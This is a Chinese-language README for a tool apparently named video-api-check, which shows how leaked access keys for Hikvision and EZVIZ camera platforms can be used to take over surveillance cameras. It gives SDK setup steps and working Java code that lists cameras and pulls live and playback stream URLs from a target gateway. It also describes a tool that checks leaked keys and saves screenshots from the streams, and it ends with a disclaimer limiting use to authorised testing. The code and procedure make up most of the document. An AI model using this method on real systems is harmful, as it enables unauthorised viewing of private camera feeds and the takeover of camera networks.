└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # video-api-check 2 | ## 原理分析 3 | 4 | 海康威视/萤石等通过AK、SK进行身份验证,通过调用接口实现视频预览等功能。因此代码中泄露了key即可能造成摄像头集群被接管。 5 | 6 | 下面是某次攻防演习实战中遇到的hikvison凭证泄露。 7 | 8 | ![image-20211227100013822](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20211227100013822.png) 9 | 10 | 某次遇到萤石一个aksk可控7000+摄像头。 11 | 12 | ![image-20211227100829824](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20211227100829824.png) 13 | 14 | ## 利用方式 15 | 16 | ### 海康威视 17 | 18 | 海康API对接(JAVA) 19 | 20 | > https://www.freesion.com/article/60261295938/ 21 | 22 | ①下载官方sdk 23 | 24 | > https://open.hikvision.com/download/5c67f1e2f05948198c909700?type=10 25 | 26 | ![image-20211227100140338](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20211227100140338.png) 27 | 28 | ②IDEA新建maven项目,并将OpenAPI认证库导入maven 29 | 30 | ``` 31 | mvn install:install-file 32 | -Dfile=/Users/niudai/lang/apache-maven-3.6.3/artemis-http-client-1.1.3.jar 33 | -DgroupId=artemis-http-client 34 | -DartifactId=hk 35 | -Dversion=1.1.3 36 | -Dpackaging=jar 37 | ``` 38 | 39 | ![image-20211227100203972](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20211227100203972.png) 40 | 41 | ③创建项目代码 42 | 43 | ![](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20211227100219316.png) 44 | 45 | `pom.xml`增加dependencies 46 | 47 | ```xml 48 | 49 | artemis-http-client 50 | hk 51 | 1.1.3 52 | 53 | 54 | com.alibaba 55 | fastjson 56 | 1.2.68 57 | 58 | 59 | ``` 60 | 61 | `DataTypeConversionUtil.java` 62 | 63 | ```java 64 | public class DataTypeConversionUtil { 65 | public static Map getStringToMap(String str){ 66 | JSONObject parseObject = JSONArray.parseObject(str); 67 | return parseObject; 68 | } 69 | } 70 | ``` 71 | 72 | `HKUtil.java` 73 | 74 | ```java 75 | import com.alibaba.fastjson.JSONObject; 76 | import com.hikvision.artemis.sdk.ArtemisHttpUtil; 77 | import com.hikvision.artemis.sdk.config.ArtemisConfig; 78 | 79 | import java.util.HashMap; 80 | import java.util.Map; 81 | 82 | /** 83 | * 海康工具类 84 | */ 85 | public class HKUtil { 86 | static { 87 | // 代理API网关nginx服务器ip端口 88 | ArtemisConfig.host = "220.xxx.xxx.xxx"; 89 | // 秘钥appkey 90 | ArtemisConfig.appKey = "xxxx"; 91 | // 秘钥appSecret 92 | ArtemisConfig.appSecret = "uxxxxx"; 93 | } 94 | /** 95 | * 能力开放平台的网站路径 96 | * TODO 路径不用修改,就是/artemis 97 | */ 98 | private static final String ARTEMIS_PATH = "/artemis"; 99 | /** 100 | * 通用海康接口 101 | * 调用POST请求类型(application/json)接口* 102 | * @return 103 | */ 104 | public static Map publicHkInterface(JSONObject jsonBody,String url){ 105 | final String getCamsApi = ARTEMIS_PATH +url; 106 | Map path = new HashMap(2); 107 | path.put("https://", getCamsApi); 108 | // post请求application/json类型参数 109 | String result =ArtemisHttpUtil.doPostStringArtemis(path,jsonBody.toJSONString(),null,null,"application/json",null); 110 | return DataTypeConversionUtil.getStringToMap(result); 111 | } 112 | 113 | 114 | /** 115 | * 获取监控点预览取流URL 116 | * @param id 设备编号 117 | * @return 118 | */ 119 | public static Map camerasPreviewURLs(String id){ 120 | JSONObject jsonBody = new JSONObject(); 121 | // jsonBody.put("cameraIndexCode", id); 122 | // jsonBody.put("protocol", "hls");、 123 | // jsonBody.put("streamType", 0); 124 | // jsonBody.put("protocol", "rtsp"); 125 | // jsonBody.put("transmode", 1); 126 | // jsonBody.put("expand", "streamform=ps"); 127 | Map returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/previewURLs"); 128 | return returnMap; 129 | } 130 | 131 | /** 132 | * API名称: 133 | * 查询监控点列表v2 134 | * 分组: 135 | * 视频资源接口 136 | * 提供方名称: 137 | * 资源目录服务 138 | * qps: 139 | * 描述:根据条件查询目录下有权限的监控点列表 140 | * @return 141 | */ 142 | public static Map cameraSearch(){ 143 | JSONObject jsonBody = new JSONObject(); 144 | jsonBody.put("pageNo", 1); 145 | jsonBody.put("pageSize", 1000); 146 | jsonBody.put("resourceType", "door"); 147 | Map returnMap=publicHkInterface(jsonBody,"/api/resource/v2/camera/search"); 148 | return returnMap; 149 | } 150 | 151 | public static Map getCameraPlayBackURL(String id){ 152 | JSONObject jsonBody = new JSONObject(); 153 | jsonBody.put("cameraIndexCode", id); 154 | // jsonBody.put("protocol", "rtsp"); 155 | jsonBody.put("beginTime", "2020-12-15T09:35:06.000+08:00"); 156 | jsonBody.put("endTime", "2021-06-17T15:00:00.000+08:00"); 157 | Map returnMap=publicHkInterface(jsonBody,"/api/video/v1/cameras/playbackURLs"); 158 | return returnMap; 159 | } 160 | 161 | 162 | public static void main(String[] args) { 163 | System.out.println(cameraSearch()); 164 | // System.out.println(camerasPreviewURLs("33068100001310938991")); 165 | // System.out.println(getCameraPlayBackURL("33068100001310938991")); 166 | } 167 | } 168 | ``` 169 | 170 | 先通过`cameraSearch()`即`/api/resource/v2/camera/search`接口,获取有权限的设备列表的信息。 171 | 172 | image-20211227100342015 173 | 174 | 比较重要的信息是`indexCode`和`regionPathName`, 175 | 176 | 获取视频流是调用`camerasPreviewURLs()`即`/api/video/v1/cameras/previewURLs`接口,需要传入`indexCode`,根据官方文档可以设置不同的取流协议(默认是rtsp)。 177 | 178 | 返回的视频流地址使用VLC连接即可。 179 | 180 | ![image-20211227100426041](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20211227100426041.png) 181 | 182 | ### 萤石 183 | 184 | 原理与海康威视大致相同,主要有两个区别。 185 | 186 | 1、不需要下载sdk,可以直接使用普通的http请求。 187 | 188 | 2、API接口由萤石官方提供`https://open.ys7.com`,海康则是部署在客户服务器上。 189 | 190 | ## 工具开发 191 | 192 | 开发了一个工具实现了以下功能。 193 | 194 | 1、验证泄露的key是否有效。 195 | 196 | 2、获取有权限的监控点列表。 197 | 198 | 3、输入视频流地址进行截图保存功能。 199 | 200 | ![](https://nnotes.oss-cn-hangzhou.aliyuncs.com/notes/image-20211227100543909.png) 201 | 202 | ## 免责声明 203 | 204 | 本工具仅面向**合法授权**的企业安全建设行为,且仅供学习研究自查使用,切勿用于非法用途,由使用该工具产生的一切风险均与本人无关! 205 | 206 | --------------------------------------------------------------------------------